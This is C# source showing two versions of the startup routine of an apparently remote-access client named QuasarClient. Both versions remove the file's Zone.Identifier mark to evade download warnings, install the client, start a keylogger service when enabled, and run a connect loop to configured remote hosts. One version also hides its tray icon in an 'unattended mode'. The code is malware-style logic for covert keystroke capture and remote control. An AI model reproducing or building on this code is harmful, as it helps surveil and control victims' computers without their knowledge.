/// <summary> /// Begins running the application. /// </summary> public void Run() { // decrypt and verify the settings if (!Settings.Initialize()) { Application.Exit(); } ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // check if process with same mutex is already running on system if (!ApplicationMutex.CreatedNew) { Application.Exit(); } FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); var installer = new ClientInstaller(); if (IsInstallationRequired) { // close mutex before installing the client ApplicationMutex.Dispose(); try { installer.Install(); Application.Exit(); } catch (Exception e) { Debug.WriteLine(e); } } else { try { // (re)apply settings and proceed with connect loop installer.ApplySettings(); } catch (Exception e) { Debug.WriteLine(e); } if (!Settings.UNATTENDEDMODE) { InitializeNotifyicon(); } if (Settings.ENABLELOGGER) { _keyloggerService = new KeyloggerService(); _keyloggerService.Start(); } var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); _connectClient.ClientState += ConnectClientOnClientState; InitializeMessageProcessors(_connectClient); _userActivityDetection = new ActivityDetection(_connectClient); _userActivityDetection.Start(); new Thread(() => { // Start connection loop on new thread and dispose application once client exits. // This is required to keep the UI thread responsive and run the message loop. _connectClient.ConnectLoop(); Application.Exit(); }).Start(); } }
/// <summary> /// Begins running the application. /// </summary> public void Run() { // decrypt and verify the settings if (!Settings.Initialize()) { return; } ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // check if process with same mutex is already running on system if (!ApplicationMutex.CreatedNew) { return; } FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); var installer = new ClientInstaller(); if (IsInstallationRequired) { // close mutex before installing the client ApplicationMutex.Dispose(); try { installer.Install(); } catch (Exception e) { Debug.WriteLine(e); } } else { try { // (re)apply settings and proceed with connect loop installer.ApplySettings(); } catch (Exception e) { Debug.WriteLine(e); } if (Settings.ENABLELOGGER) { _keyloggerService = new KeyloggerService(); _keyloggerService.Start(); } var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); InitializeMessageProcessors(ConnectClient); _userActivityDetection = new ActivityDetection(ConnectClient); _userActivityDetection.Start(); ConnectClient.ConnectLoop(); } }